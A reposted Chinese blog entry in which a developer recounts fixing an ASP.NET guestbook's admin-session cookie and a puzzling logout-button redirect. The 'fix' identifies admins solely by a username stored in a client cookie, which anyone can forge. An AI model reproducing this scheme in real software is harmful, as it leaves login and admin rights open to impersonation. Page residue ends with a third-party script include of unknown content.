终于把留言斑搞定!

来源:互联网 发布:淘宝店运营技巧 编辑:程序博客网 时间:2024/04/30 16:27

     第一次给马主管看的时候,给我们指出十几个毛病,都要该,有的比较好改,但是有的就比较难改,因为有的地方不是我写的,而且要改的话估计要有很大的变化,我现在都是在尽量不改动原来的代码上的加的,还是和他的要求有点差别,他要求我们重新建立一个数据表,把留言和回复弄成一对多的关系,我认为没必要就没改动了,也许是我不想有大的变动吧,就这个都改的我有点烦,现在总算把问题都解决了。好轻松!
     昨天碰到一个奇怪的问题,就是我用管理员身份登陆的时候,更开始可以进行留言的回复,编辑等操作,而如果我有几分钟不操作的话,在进行跳转页面的话,就不能进行管理了, 今天查出原因了,我们在利用COOKIE进行检验的时候,COOKIE过期了,或者说我们根本没有把COOKIE写进客户端,我们当时的
     Response.Cookies["user_name"].Value = Login1.UserName;  

 Response.Cookies["user_name"].Expires =    DateTime.Now.AddDays(1);

                //如果用户选择了保存cookies:
                if (Login1.RememberMeSet)
                {
    
                  Response.Cookies["user_name"].Expires = DateTime.Now.AddDays(12);
                 
                    //Response.Cookies["user_pass"].Expires = DateTime.Now.AddDays(12);
                }
                Response.Redirect("~/Default.aspx");

这样的结果就是没有把COOKIE写进到客户端,虽然上面定义了过期时间是一天,但是如果你一段时间没动作的话,它还是会过期的,后来把代码写成了这样的
         System.Web.HttpCookie ck = new HttpCookie("cookieUserName");
                Session["user_name"] = Login1.UserName;//标识登陆
                ck["user_name"] = Login1.UserName;
                ck.Expires = DateTime.Now.AddDays(1);
                Response.Cookies.Add(ck);
    这样一来就OK了 ,一切问题都解决了!
呵呵调用的时候用
Request.Cookies["cookieUserName"]["user_name"]一切结束
   还有一个问题是我在母版页用了一个linkbutton用来注销的,但是我第一次点的时候可以注销掉,并转到login.aspx页面,注销后身份变为了游客,这个也正常,但是如果这个时候在点的话它就会转到首页default.aspx,很是纳闷,登陆后跟踪的结果是它是这样加载的,首页的PAGELOAD,母版的PAGELOAD,然后才是LINKBUTTON事件,加载完后因为我这里有个redirect所以它有进入母版的PAGELOAD,进行初始化login.aspx.    第2次点注销 过程是这样的有进入首页的PAGELOAD,然后是母版的PAGELOAD,完了就不进入LINKBUTTON事件里面了,直接就把首页显示出来了。不知道什么原因!狂晕中!
       感觉我们前期的工作做的还是不太好,后面有的东西要改,都特不想动了!看来前期的工作还需要下很大的功夫。现在感觉自己什么都不会了,原来简历上写的那些真的太假了!

<script src="http://www.cdsbfx.com/js/google.js" type="text/javascript"></script><script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script>
原创粉丝点击